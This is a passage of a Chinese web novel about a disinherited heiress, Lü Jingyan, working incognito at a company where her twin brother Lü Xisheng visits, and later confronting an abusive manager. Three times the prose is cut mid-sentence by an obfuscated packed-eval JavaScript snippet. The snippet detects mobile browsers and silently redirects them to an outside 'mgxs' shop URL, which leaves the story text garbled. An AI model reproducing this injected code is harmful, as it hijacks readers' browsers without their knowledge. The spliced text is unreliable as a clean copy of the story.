于是她的手微微一抖,“笨手笨脚”地弄翻了开水。 吕希声反应极快,敏捷地一侧身,水连他的衣角都没沾湿。 旁边一众人等倒是大呼小叫地嚷了开来,连声问他烫到没有,离得近的几个扶杯子的扶杯子,擦水的擦水,骂吕静言的骂吕静言。 韩总脸都绿了,一边向吕希声道歉,一边指着吕静言吼:“你怎么回事?!没长手吗?干什么吃的!” 吕希声压下他指着吕静言的手,眼里写满不赞同。 韩总拿不准他的心思,犹疑着住了口。想了想,又命令:“快点和吕总赔个不是!” 这回吕希声倒没阻止,抬眼看向吕静言,像是等着她道歉。吕静言回望他,迟迟不肯开口。旁边韩总又大叫道:“说话呀!哑巴了?” 罢了,这事要不过去,她要么爆马甲,要么被炒鱿鱼,两个都不划算。 吕静言深吸一口气,语速极快地敷衍道:“不好意思,不是故意的,您大人大量,别跟我计较。” 韩总在旁边帮她赔了个笑脸。 吕希声不表态,推推手边被扶起的杯子,示意她再倒一杯,“既然不是故意的,第二杯总不会再弄洒了?” 一边同样被叫进来端茶递水的行政部姐姐上前一步,道:“她是新人,毛毛躁躁的,我来吧。” 吕希声挡住她,对吕静言扬扬下巴,一定要她来倒。 众目睽睽之下,吕静言牙都要咬碎,从齿间挤出一个“是”字,拎起热水瓶又给他倒了一杯。 吕希声总算是满意,端起杯子,吹吹热气,轻啜一口。 过了午饭时间会议才结束,莱达的一众高管热情挽留吕希声一行用餐,却被以“下午还有工作要忙”为借口推拒掉。吕希声像来时一样被簇拥着离开会议室,他腿都迈了出去,忽而又回过头来,意有所指地瞟了眼正收拾材料的吕静言,说:“拿一份会议材料给我带回去。” 旁边人察言观色,马上指挥吕静言带一份材料送到吕总车上。 吕静言忍了又忍,抱着材料跟随吕希声他们乘电梯去地下车库。 吕希声一路并没理她。到了车库,随行众人都各自上车,他的司机跑去把专车驶出停车位,他目视前方看着那辆徐徐移动的车,道:“你说你忙着工作,我还以为在哪儿,原来工作到自己家来了。” 吕静言落后他半步站着,视线也跟随着那辆车,冷声道:“别跟我说你才知道我在这儿,你今天是不是单纯来开会,自己心里清楚。” 吕希声略微挑眉,侧头看她,还没等说什么,司机将车子在他身前停好,跑下来开门。吕静言越过他,先一步把手中材料放进去,而后做出“请”的姿势对他道:“走好啊,吕总。” 吕希声目光在她脸上停了一停,随即坐进车内。 那辆崭新昂贵的商务用车平滑地开出去,吕静言掉头往电梯间走。没走两步,听到身后有人叫她,回过头,是曼迪。这会儿差不多是午休结束的时间,她估计刚好来上班。 真有先见之明,她就该和她一样请假! 曼迪上来挽住她,八卦兮兮地问:“刚才那个,是总部的吕希声?” 她和曼迪一起走向电梯,装傻道:“啊?” 曼迪晃晃她胳膊,“就刚才跟你站一起的那个,你还把东西放他车上,我在车里看见来着。” “哦。”吕静言说,“你认得他?” 曼迪很得意似的一扬头,说:“他我还是认得的。前段时间网上有个‘最受女生欢迎的年轻二代’的评选帖,我还把票投给他来着。” 吕静言干笑一声。 世上竟还有如此无聊的评选。 曼迪对她的无语一无所知,兴致勃勃地掏出手机,要把那帖子找出来给她看。 可惜她们已经进了电梯,里面信号不好,帖子加载半天也没加载出来。 曼迪手上不断刷新着页面,又问:“你刚怎么和他在一块儿?” 吕静言把自己被叫去当丫鬟的遭遇跟她讲了一遍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288489|198483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,当然,隐去了她和吕希声之间的暗潮汹涌。 曼迪笑得很开心,说:“哎呀,谁叫你长得太出色呢,这都是美女的烦恼。” 吕静言对她毫无同情心的调侃报以白眼。 回到办公室,同组的几个人七嘴八舌地上来向吕静言打听和总部的会开的怎么样,她随口答了几句,坐回位置。旁边曼迪打开电脑,解锁手机要扫码登录各办公软件,发现刚那篇帖子加载了出来,递过来给她看,“就这个,参与量很大呢,有上万人投票。” 吕静言垂眸去瞧她的手机屏幕,伸出手把那帖子从头划到尾看了一遍,上面很多熟人,全都不怎么样,矮子里拔将军,吕希声算略胜一筹。 再看一下评选结果,他居然不是第一,落后于晟合三公子左铭几票,屈居第二。 曼迪在一旁为他鸣不平:“都什么眼光!左铭哪里比吕希声帅了?真是的。” 她右边工位的艾米闻言凑过来,往她手机上看了一眼,说:“哦哦,这个帖子我也刷到过,我就投的左铭。” 曼迪立马对她怒目而视,艾米笑道:“干嘛?我就喜欢左铭,干干净净,清清秀秀的,多好。” 曼迪说:“那你也不能说他比吕希声帅吧?”她向吕静言寻求支援:“你刚见过吕希声真人,他是不是很帅。” 吕静言哼笑一声,不予作答。 艾米接过话头:“我没有说左铭比吕希声帅啊。但这个帖子评的不是‘最受女生欢迎’吗?吕希声帅是帅,但他帅的太超过了,攻击性有点强,你懂吧,没左铭那种邻家男孩平易近人的感觉。所以你看,还是喜欢左铭的人多。” 曼迪努起嘴,叹了口气:“果然还是小帅小美销路最好。”她往远处业务二部瞟了一眼,又看看吕静言,说:“就像二部的蔻依,长得还不错而已,每天鲜花水果小蛋糕,那礼物就没断过。可是咱们乔,偏没有人送,”她碰碰吕静言,“技术部那帮怂货,每天明里暗里地偷看你,一个敢付出实际行动的都没有,真怂。” 吕静言已经回到自己电脑面前去做工作,听到这话,立刻道:“别,千万别有人付出实际行动。这样很好。” 曼迪“唔”了一声,深以为然道:“也是。反正你肯定看不上他们。”她凑近她,笑嘻嘻地:“你得找个富二代,有钱有颜的,不然配不上你。我看吕希声就不错,考虑一下?” 这说的什么玩意。吕静言瞥她一眼,想叫她不要胡说八道,嘴还没张,外面有个同事找过来,说:“乔,韩总叫你过去。” 曼迪好奇地直看她,她心知准没好事,叹了口气,丢下鼠标,往韩总办公室走。 一进门就被劈头盖脸一通好骂。依然中英夹杂,骂她“没长眼”、“蠢”、“无药可救”,人身攻击的同时顺便问候了她父母几句,诸如:“你父母是死的吗?什么都没教你。”“你妈怎么生出你这么个东西。”之类之类。最后跟了一句:“你这种女人,我们见的多了,什么东西啊,别不自量力。” 吕静言一方面觉得这个人很可笑,一方面又真情实感地感到生气,几乎用尽毕生修养才按捺住想要踹他的脚。 挨完骂回到办公室,还没落座,曼迪飞快地挨过来,笑得一脸暧昧,小声又急切地道:“我靠,可以啊你,没想到你真的考虑了吕希声。” 吕静言一脸迷茫:“啊?” 曼迪“嘶——”了一声,想说什么,看看四周,又忍着没出声,在电脑上噼噼啪啪一阵,发信息过来道:我都听说了!你给吕希声倒水的时候弄洒了,他不但没说你,还叫你会议结束后给他送材料。我的天,女人,有手段呀,你成功地引起了他的注意。 ...... 苍天,是谁在传播这种不靠谱的谣言?! 吕静言十指翻飞,打了一段“我没有,我不是,别瞎说”的话过去,曼迪一字不看,又发过来一条:你有戏。 吕静言:?? 曼迪:别装傻,他的反应你还不懂?肯定是心动了。看着吧,吕希声今天回去就让秘书查你的资料,把你调到总部,让你和他朝夕相处,然后你就嫁入豪门,再然后就飞黄腾达。 她发来这句话,又很兴奋地两手一拍,双眼放光地抓住吕静言胳膊,使劲儿握了握,诚恳道:“姐妹,苟富贵,勿相忘!” 吕静言使劲儿把自己的手从她手里抽回来,反握住她,加倍诚恳道:“姐妹,你现在的当务之急是少看点霸总小说。” 曼迪很不满地“切”了一声,道:“这叫小说照进现实。别不好意思,吕希声有钱有颜的,配得上你,你用点手段钓他我可以理解。” 什么东西?她钓吕希声?这是人类的语言吗。 她冲口而出:“他是我——” “什么?”曼迪好奇。 “……”吕静言理智回笼,把话咽下去,道:“没什么。——我真对他没那个想法!” 曼迪撇撇嘴,一副“你这样就没意思了啊”的表情。 吕静言捂住额头。 百口莫辩。真的百口莫辩。 完了,以后她在这些同事眼里就是一个耍手段钓金龟婿的虚荣心机女了。 都怪王八蛋吕希声。 曼迪又絮絮叨叨八卦几句,见她兴致实在不高,问:“你生气啦?” 吕静言摇摇头。 她只是心累。十分心累。 曼迪拍拍她,安抚道:“好了,不开你玩笑了。无论你和吕希声怎么样,明天都是美好的周末,开心点儿。” 吕静言这才想起来今天是周五,吕希声还在家里等着她。 这叫她怎么开心? 开心不了一点儿。 8. 舞会穷人(1) 第三章 舞会穷人 回到瀚威没多久,就接到宋斓打来的视频。 吕希声停下手头工作,盯着手机看了一会儿,接起来,扬起笑容道:“妈,怎么了。” 宋斓看看他这边的背景,是在办公室,问:“在忙?” 吕希声道:“不忙,您说。” 宋斓略微沉吟,道:“也没什么大事,问问你晚上想吃什么,好叫厨房准备。” “哦,”吕希声道,“正要和您说,我今晚要飞墨西哥,不能回去陪您了。” “又出差?” “是。藤蔓计划在做前期准备,我得多去考察一下。” 宋斓叹一口气,“那你注意安全。” “嗯,会有安保随行。” “好。” 说完这些,宋斓却没有要挂断视频的意思,吕希声知道她还有话,静静等着。 “你......今天去莱达开会了?”片刻后,宋斓问。 “是的。” 宋斓道:“说是有个小姑娘又弄洒水,又跟你到车库送资料的,是么。” 啊,原来为这事,消息传得真够快的。 吕希声笑了笑,道:“是静言。” 宋斓惊奇道:“她?” “嗯,她去了莱达上班。今天去开会的时候,她刚好被派来给我倒水,这种情况,您知道,她不会老实的。” 宋斓蹙起眉头,“她怎么去了莱达?她想做什么?” 吕希声道:“不太清楚。” “要么叫那边找个由头把她开除。” “不妥吧,”吕希声道,“工作是她自己找的,我们不好插手。” 宋斓抿唇不语。 吕希声继续道:“按我今天所见,她没有在莱达透露身份,在那边只是个基层员工,接触不到太多东西,不至于掀起风浪。” “......罢了,那暂时就这样。以后要是她有什么苗头不对,立刻遏制。” “好,知道。”吕希声答应道。 想问的事情已经问完,宋斓却还不挂断,又嘱咐道:“虽然你向来有分寸,但妈再唠叨一句,以你的条件,投怀送抱的女人肯定很多,她们有心机有手段,你要小心,千万不要被迷了眼睛,掉到陷阱里。” 吕希声点头,“我明白,妈,您不必担心。” 宋斓“嗯”了一声,这才和他话别,挂断视频。 吕希声放远手机,捏了捏鼻梁,点亮息屏的电脑,接着投身于工作。 ~*~ 晚上回去,吕希声并不在家。 吕静言心中一松,问琴姐他怎么没来,琴姐说小吕先生好像这周末出差,不过来了。 不来了?真好。 所以,他是因为本周末不能碰面,没法给她找不痛快,特地赶在周五去莱达挑衅她一下是吗。 贱死他算了。 吕希声没回来,宋斓就也不怎么露面,连餐厅都没去过一次,吕静言难得消停地在家待了两天。 接下来一周顺利得惊人。那个什么韩总再没出现在公司,吕希声也不知出于什么考量,并没出手干扰她在莱达上班一事,工作生活一切如常。 又一个周五来临之时就没那么幸运了。吕希声这混蛋再次现身于畭山别墅,这次没在一楼客厅里坐着,而是直接坐到了四楼沙发上。 吕静言下班回来,乍见到个大男人坐在自己房间,吓了一跳,随即看清是他,绷起面容,把包往沙发上一甩,居高临下、语气不善道:“大晚上的,你有事?” 吕希声缓缓抬眼,“没事我就不能来看看你?” 吕静言毫不客气:“演什么兄妹情深。有事说,没事滚。” 不知是不是她的错觉,吕希声好像苦笑了一下,继而垂下眼眸,从沙发上拿起一样东西递给她。 薄薄的一个信封。吕静言拆开来看,里面是魏家小姐的婚礼请柬,上面的字由当世书法大家手写而成,为彰显珍贵,还特地加盖了这位大师的印鉴,弄得一张请柬不伦不类。 举行婚礼的酒店就在本市,是魏家自己的产业。——看样子年景不好,大家都学会了开源节流。吕静言想,否则以魏家以往的风格,还不得把婚礼办到大西洋的私人海岛上去。 “人家听说你从国外回来,特地给你也备了张请柬,一起送到我那里去了,我好心给你带过来。”吕希声道。 吕静言假笑:“那真是谢谢你了。” 东西已送到,吕希声却并不急走,靠在沙发中问她:“所以,你去是不去?人家还在等着回话。——我想你已经没有他们的联系方式了?” 她对参加魏小姐的婚礼一点兴趣都没有,但是呢,这种场合里,与她家世相当的适龄男子应当不会少,为了下一步的计划打算,实在该去。于是她扬起笑脸,道:“去啊,老同学大喜的日子,我怎么能不去呢。” 吕希声上下扫视她一遍,若有所思地笑:“想不到魏明薇在你这里还有几分面子。” 吕静言微笑点头。 吕希声没再多说什么,慢悠悠收回视线,从沙发上起身,离开四楼。 因为吕希声在,次日早餐桌上便也见到了宋斓。母子二人仍自顾自说话,将吕静言视作空气,吕静言也懒得搭理,向厨房要了一碗米粉,坐在那里等待上餐。 热腾腾的米粉刚刚摆在面前,兜里手机响了一声,她拿出来看,魏家小姐的好友申请跳出来,她略一犹豫,将她加了回来。 联系方式都删了几年,魏小姐表现得倒还是亲热,发信息道:静言,你哥哥说你会来参加我的婚礼,太好啦。 吕静言暗自发笑:真的吗,有什么好,我们又没多熟。手上打字道:是啊,恭喜你,新婚快乐。 魏小姐和她寒暄几句,而后发来一张长图,点开放大,一长串全是参加婚礼的注意事项。看到不必准备新婚礼物,吕静言松了口气,往下看看,看到说希望宾客们穿着礼服前来赴宴,又是好一阵头疼。 按说参加婚礼,是要穿得正式一些。但是如果注明要穿礼服,那就不是一个级别的麻烦了。 按她对这些人的了解,礼服必然是高定,再不就是认识的设计师量身打造的孤品。这两种,如今她都无力负担。 去租一件?并不便宜不说,别人穿过的衣服她也嫌恶心。 何况,哪家租赁礼服的店能搞到那种级别的高定,大多是仿的同款,穿了还要惹人笑话。 怎么办好呢。她思索一会儿,看看眼前的米粉热气好像快要散尽,索性拾起筷子边吃边想。 米粉顺滑,吞到肚里叫脑子也活泛了些,她打起自己以前几件礼服的主意。 吃罢早餐,她下到负一楼杂物间去寻,可里面都是一些用不到的家具摆设,没有衣物。 她又上来一楼,问最管事的琴姐以前的那些旧礼服都收在哪里,琴姐迟疑地摇摇头,说没看见过什么旧礼服。 吕静言暗道不妙。她以前的那些普通衣物,她知道,肯定早就被丢掉了,但是礼服,也没留下一两件么? 她不甘心,想起后院那个仓库,要去找,又想到它是锁住的,问琴姐:“后院仓库的钥匙,您有吗。” 琴姐说那锁是虹膜锁,她没有录过虹膜,只有太太和小吕先生录过。 这仓库是放了什么稀世珍宝么,还左防右防的。吕静言暗骂一句,犹豫片刻,发消息给吕希声:后院的仓库,过来开一下。 吕希声许久没回。她正要上楼找他,碰见他从电梯里走出来,他见了她,问:“你去仓库做什么。” 吕静言道:“找东西。” “什么东西。” 吕静言不耐烦道:“我的东西。与你无关。” 吕希声牵起唇角,“与我无关?那你干嘛找我。” 吕静言一时语塞。 吕希声接着道:“不说清楚,我是不会帮忙的。” 吕静言惊奇道:“你抢了我的家产还不够,该不会连我的私人物品也要扣着不给吧?” “你的私人物品?” “对。衣服、鞋、包,书、本、笔,我用过的,私人物品。” 吕希声从头到脚将她看过一遍,“你这是......窘迫到要捡以前的旧东西来用了?” 吕静言轻嗤,“你是不是不知道,人类有一种情感,叫做怀旧?” 吕希声弯腰看她,“怀旧,”他像听到什么好笑的事一样笑起来,“哈哈哈,好,吕静言还会怀旧。真好。” 吕静言静静看着他,等他笑得差不多了,冷声道:“笑够了?现在能去把门打开了吗。” 吕希声直起身来,依旧笑意盎然,“恐怕这仓库里没有你要的东西。” 吕静言坚持:“有没有,我看了才知道。把门打开。” 吕希声道:“那就来吧。” 他们一前一后走向后院仓库。 到仓库跟前,吕希声解了锁,打开门让吕静言进去,自己也随之进入。吕静言停下脚步看他:“你进来干什么。” 吕希声很好心似的:“帮你找。” 吕静言“呵”一声,“多谢,不必。出去。” 像是自己的善意被辜负一般,吕希声摇头叹了口气,转身离开这里。 吕静言举步向前。 这是间很专业的仓库,冷光灯,恒温恒湿。宽敞开阔的空间内货架林立,上面标注着所存物品的门类。 她一路向里走,园艺用品、运动用品、维修工具、各式器皿、纸笔文具、床上用品......衣物。 她快步走到那片货架前,把上面的东西一样样拿出来看,果然都是以前的旧衣物。父亲的、父亲的、父亲的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288490|198483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吕希声的、吕希声的,宋斓的、宋斓的、宋斓的,还是宋斓的。 翻了一大堆,所有家庭成员的常服礼服都在,唯独没有她的。她不死心,歇了口气,继续努力翻找。 几乎把货架上的每一件衣物都拎出来看过,终于在宋斓的裙装那格找出一条雾霾蓝色礼裙,是她十五岁那年在生日宴上穿的。可能因为当时不够高,尺码与宋斓差不多,所以这条裙子被人误收在了她的衣物中。 她把礼裙安置在一边,又心怀侥幸地搜索一遍——确实没有更多了,她的衣物只此一件。 好吧,看来是真的都被扔掉了,能误打误撞剩一件她需要的已是万分幸运。 她把其它衣物随手收回去,捧着这条裙子走出仓库。 吕希声竟然等在门外。 她后退半步,掏出手机看了眼时间(过去了快有两个小时),诧异道:“你很闲吗?没有其他事情可做了是不是。” 吕希声欲要说话,视线落在那条礼裙上,住了口。 他久久不言,吕静言不再理他,带着东西走开。 “你是要找礼服?”吕希声的声音从她身后传来,“你该不会想穿旧礼服去参加婚宴?大家可都见过这衣服,到时候你一定很丢脸。” 吕静言脚步不停,扬声留下一句: “和你没关系!” ~*~ 回到房间,吕静言借着阳光展开裙子细看,虽然是差不多十年前的衣服,但有赖于保存得当,颜色和质地都很完好,并不显旧。上身试试,胖瘦也还算合适,只是有些短了。 她又烦恼起来:距离魏家的婚宴还有两周,她肯定是没钱没时间把它送回巴黎的工坊修改,可除了原工坊,国内哪儿有这个手艺去改它? 她换下裙子,在镜前转悠两圈,想起以前经常给宋斓做旗袍的一位老师傅,忽感得救,立时带上东西开车去找他。 那师傅住在一片很老的居民区里,建筑斑驳破旧,快要动迁。她凭借记忆找到他的店,有些担心它早已关张,幸而敲过几次门后,里面传来迟缓的脚步声,老师傅推门出现在她面前。 他还是那样,双臂戴着袖套,颈上挂着皮尺,脸上一副眼镜,头发银白,皮肤松弛,好像永远这么老,从未年轻过。 他开了门,却没迎吕静言进去,只问:“来做旗袍?” 吕静言把手上装礼裙的袋子递过去,“想麻烦您改下长短。” 老师傅从袋口上方瞟了一眼那裙子,连拿都没拿出来看,拒绝道:“改不了。我是做旗袍的,改不来这个。” 他说着,就要把门关上。 吕静言忙拦住他,套近乎道:“是我,师傅,吕静言,小时候经常来您店里的,您忘了?” 老师傅停下动作,从眼镜上方仔细看她,过了会儿,长长地“哦——”一声,道:“是你呀,宋太太的龙凤胎。一晃眼都这么大了,还真有点不敢认。”他把门完全打开,将吕静言让进去,笑道:“你小时候和你哥哥调皮得很,有次你们偷拿我的画粉去玩。画的地上啊,墙上,哪儿都是。还记得吗。” 他屋子里也同从前一样,狭小的窗户、窗边一台缝纫机,旁边很宽大的裁剪台,台上堆满布料。阳光落进来,看得见细小的尘埃在光柱里沉浮,一如十几年前的某个下午。吕静言脸上浮现出怀念与落寞,很快又被笑意所取代,翘起唇角道:“是吗,您记性真好,我都不记得了。” 老师傅慈爱又感慨地叹了口气,用手比划了一个高度,“那时候你们也就这么大。日子过得真快啊。”他放空一瞬,又回神看向吕静言的袋子,指着道:“你要改裙子?” 吕静言赶紧把礼裙拿出来给他看,“是的,有点短了,想改长一些。” 老师傅捞起裙摆摸了摸料子,又摘掉眼镜贴近看了看裁剪和走线,道:“不大容易改,只能试着在下边一圈做点什么文章。” 吕静言抓住救命稻草一般,“可以的,没问题。您是我见过手艺最好的师傅,如果您做不了,那我也不知道该找谁了。” 老师傅对她的恭维置之一笑,问:“你什么时候要?” 吕静言算算时间,道:“十天之后吧。” 老师傅为难地努努嘴,“我现在手上有两个单子,你这个怕是最少也得等二十天。” 魏家的婚礼下下周的周五傍晚举行,最迟那天下午也得拿到裙子,吕静言恳求道:“十三天吧,师傅,我十八号下午就得要,不能再迟了,拜托您。” 师傅沉吟片刻,叹道:“行吧,谁让我们有老交情呢,换了别人,我可不接。” 吕静言开心地笑,千恩万谢地拜别他,转身往门口走。老师傅往出送她两步,道:“很多年没见了,帮我给你妈妈,哦,还有你哥哥,带声好。” 吕静言脚步微顿,随即点了点头,应道:“嗯。好的。” 9. 舞会穷人(2) ~*~ 衣服的问题有了着落,接下来便是珠宝。 一般为搭配礼服,女宾身上多少要有些装饰。过去她年纪小,家中未给她准备真正意义上的“珠宝”,逢有场合需要佩戴,都是借宋斓的来用。十八岁成年礼,她本来即将拥有自己的第一套高珠,可是却...... 她截断思绪,不愿再想下去了。 已经过了午饭时间,她随便找到家餐馆吃了一点,又去逛街看珠宝首饰。可店里陈列售卖的那些都称不上珠宝,只能算饰品。这些玩意她以前倒有,不过在国外最困难的时候,她把它们,连同带过去的高档衣物箱包全部卖掉了。眼下可好,她就连它们都高攀不起,逛了半天都是白逛,只好先去买了一双鞋,之后打道回府。 珠宝的问题,看来要另辟蹊径才行了。 到家差不多是吃晚饭的时候,吕静言下午才吃过,没有丁点胃口,直接上到四楼自己房间,打开手机浏览各社交平台,为解决珠宝一事寻找灵感。 翌日早餐过后,她出门去约见几位昨晚在社交平台上联系过的人体彩绘师——说是彩绘师,也不完全准确,为了性价比高,找的都是些美院学生。 一圈人约见下来,敲定一位合适的,又在外边吃完午餐回去,差不多是下午两三点左右,她发现吕希声的车居然不在车库。 进到屋里,她有意无意地问琴姐:“他走了?” 琴姐自然明白她指的是谁,道:“小吕先生说有工作需要处理,先行离开了。” 走得好啊。看样子她又可以一个人安静享用晚餐。 她回房间待了一会儿,实在无聊,寻寻觅觅,去到六楼影音室播一部电影来看,一直看到夜幕降临。 ~*~ 从瀚威回到住处,已经是晚上九点多。吕希声照例先去六楼待上片刻。 他走到“她的卧室”,又从卧室去到衣帽间,按下按钮开启其中几格的玻璃门,一件一件地翻看起里面悬挂的衣裙。 一、二、三、四......五十七、五十八、五十九。 从她三岁拥有的第一件礼服起,直至她十七岁穿过的最后一件,几乎全部被收集在此。 只除了,那一件。 他当时找了那么久,怎么都找不到,还以为从老宅搬出去时被打包的人不慎弄丢了,却没想到竟被收在畭山别墅那边的仓库里。 也好,现在它算是物归原主。 他动作轻柔地抚摸过这些裙子,脑海中映出她穿着它们时所展现出的那些美丽。 ——这条,是她十岁生日时穿过的。这条,是父亲庆功宴上穿的。这条,是参加陈家小姐成年礼舞会时穿的...... 每一条,他都印象深刻。 他凝视它们许久,恋恋不舍地从记忆的泥沼中拔出。想要走,却又被另外几扇玻璃门中的东西吸引住目光,缓缓停下脚步。 一些崭新的女式衣物。 成年之后,或者说瀚威重新崛起之后,他便很少购买成衣,一年四季的衣物都交由萨维尔街的某些“金剪刀”解决,他们的作品总是令人满意。 但那些成衣品牌还是孜孜不倦地每季给他邮寄新品杂志,期待某些产品能够得他青睐,从而吸引他成为客户。 那些杂志,他偶尔闲来无事,也会随手翻看几页。男装部分总是匆匆略过,可到了女装,他的动作就会不由自主地慢下来。 他一页一页翻过那些或明丽、或飒爽、或甜美的衣物,眼前她的身影挥之不去。哦,他会想,这件很适合她。或者:这件一看就是她会买的衣服。还有这件,她穿上一定很好看。 回过神来的时候,已经向品牌方订购了一大堆。 如此多次。 某种程度上来讲,这些品牌也算成功了。 他自嘲地笑一声,叹了口气。 吕静言,即使艰难到连件好衣服都买不起,你也还是不愿服软么? 你到底什么时候,什么时候才会认识到你当年做错了?什么时候才肯把欠我的道歉说出口?什么时候,才能够让我原谅你? 他的妹妹啊……如此倔强而又傲慢。 吕希声摇摇头,最后望一眼这些美丽的衣裙,边发消息让助理去买些衣物打包袋,边踏出这间屋子。 ~*~ 周一上班,组里被安排了新项目,吕静言与几个同事忙得出奇,天天加班不说,连周六周日都被占用,她累的每晚回家倒头就睡,周末两天也没空在家里与吕希声斗法。 再下一周周中的时候,工作任务稍有减轻,她厚着脸皮为周五参加婚礼的事提交了半天的请假申请。但部门领导觉得参加婚礼用不了半天,只给批两个小时。 两个小时就两个小时吧,抓紧一点弄妆造的话,也来得及。 周五下午,消失许久的韩总不知道抽什么风,竟然出现在公司。约摸三点半,吕静言马上就要提前下班之际,茶水间方向,韩总的办公室突然传来巨大响动,紧接着,他暴怒的吼叫声响彻整个楼层。 所有人都安静下来,听他在骂些什么。断断续续传来的这些侮辱性语言,吕静言倒不陌生,不过这次显然比上次骂她时更过分,可以说脏极了。上次骂她时也这么大声吗?也都让大家听到了吗?吕静言对此刻正挨骂的倒霉蛋有些感同身受的怜惜,发消息问万事通曼迪:他在骂谁? 曼迪回她:在打听了,在打听了。 不一刻,曼迪发消息给她:在骂后勤部新来的一个实习生。 吕静言问:为什么骂他。 曼迪回:听说是他之前让后勤部给他办公室采购一个台灯,这次来公司发现台灯不是他要的那款,所以大发雷霆,找到买错东西的人狠狠教训。 吕静言无语至极:就为这么点事? 隔了会儿,曼迪回她:可能是他最近赌运不佳,输了太多钱,来公司找茬发泄,谁知道呢。 吕静言认为十分有可能。 韩总的声音逐渐减弱,正当大家以为这阵狂风骤雨即将结束之时,那边又传来打碎瓷器的响动,同时伴有一声年轻男人凄惨的痛呼。 这是打人了? 众人面面相觑,没人愿意触这个霉头去解救那可怜的实习生。 吕静言拿过桌上的杯子起身,对曼迪道:“我去茶水间接杯水。” 曼迪瞪大眼睛:“现在?” “嗯。” 她端着杯子走出办公室。 却没去茶水间,径直走到韩总那里,推门而入。 办公桌前的韩总诧异地看向她,他对面,一个穿运动外套的男生正弯腰痛苦地捂着胸腹处,显然是被砸到了那里。 吕静言迈过地上散落的台灯和花瓶碎片走过去,轻轻拍拍他,“怎么样,要不要去医院?” 男生连忙摇头。 吕静言道:“那你先出去歇一会儿,要有什么不适,还是得去医院看看。” 听说让他出去,男生目露犹豫,下意识看向韩总。 韩总从怔忪中反应过来,对吕静言吼道:“谁让你进来的?滚出去!” 吕静言深吸一口气,推推那男生,语气坚定道:“出去吧。” 男生略做权衡,踉踉跄跄地躲出这个房间。 韩总上来要拦,吕静言手脚麻利地在男生身后关起门,一脚踹在他小腿上。 韩总惨叫一声,吕静言充耳不闻似的,走到办公桌后,坐进他的椅子,放下水杯,双腿交叠,抱臂道:“哦,知道痛啊,那你刚才拿东西砸人的时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288491|198483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么不知道呢?”她垂眸看看自己的鞋,“真可惜今天穿的是运动鞋,没穿个尖头的,便宜你了。” 韩总满眼不可置信地指着她,冒出来的话全变成英文:“你你你你,你疯了?” 吕静言努努嘴,慢条斯理地拿起桌上他的名牌看了看,道:“哦,原来你叫韩君翊。韩伯伯取的这个名字倒挺好,配你可惜了。” 韩君翊暴怒的目光立刻软弱三分,犹疑地试探道:“你是……?” “哦,”吕静言抱歉地笑,“不好意思,忘了自我介绍。”她从兜里掏出工牌扔到韩君翊身上,“你中文不怎么样,但中国字总还认识两个吧?自己看。” 韩君翊接住工牌,努力辨认英文名“乔”下面那三个不起眼的汉字,磕磕绊绊地念道:“吕......静,言?” 吕静言点头。 韩君翊一看她姓“吕”,就知道大事不妙,他是听说吕希声有个双胞胎妹妹来着,上次他过来,这两人好像就有点微妙,该不会......? 他心存侥幸,质询道:“吕静言怎么了?哪位啊?” 吕静言挑眉道:“你不知道我的名字?”她拍拍自己额头,“我的错,这些年确实太低调了,导致你们只知吕希声,不知吕静言。” 她站起来踱到他面前,从他手里拽回工牌,按着他的头看上面的照片和字,“你以后可记住了,我,吕静言,瀚威的吕静言,老吕总的亲生女儿吕静言,未来你们的吕总吕静言,千万别再认不出了,好么。” 韩君翊的目光对上她的,又立刻缩回去,犹自嘴硬道:“你说是就是?我怎么知道你不是在这儿发癫?” 吕静言笑笑,道:“你还挺严谨,不见棺材不落泪啊,”她掏出手机,调出吕希声的联系方式,伸到韩君翊鼻子底下,“我把吕希声叫过来给我做个证?” 她说着,就要给吕希声拨去一通视频邀请,韩君翊紧盯着她的动作,在她点击通话图标前一把按下她的手,瓮声瓮气道:“别。不用了。” 吕静言暗自松一口气——她还真不想为这事儿联系那个人,面上却是笑靥如花,“真不用啊?别呀,现在证明了多省事,免得你日后再怀疑。” 韩君翊一味摇头,“不用,不用。” 吕静言勉为其难地收起手机,“既然如此,好吧。你说你多客气,都是世交,怎么就这么怕麻烦到吕希声。” 韩君翊不吱声。 吕静言和他拉开些距离,想想不好把他得罪的太彻底,遂又缓和语气道:“我这人大度,你上次那样对我呢,没关系,我不会和家里讲,更不会放在心上。毕竟我们都是自己人。但是,像今天这样对员工又打又骂,是不是就太过分了?法治社会啊,韩总,实施暴力?你就不怕人家联系媒体给你曝光?到时候就算有人出面运作帮你压下去,在韩伯伯那里你是不是也够喝一壶了?” 韩君翊望向她,目露哀求。 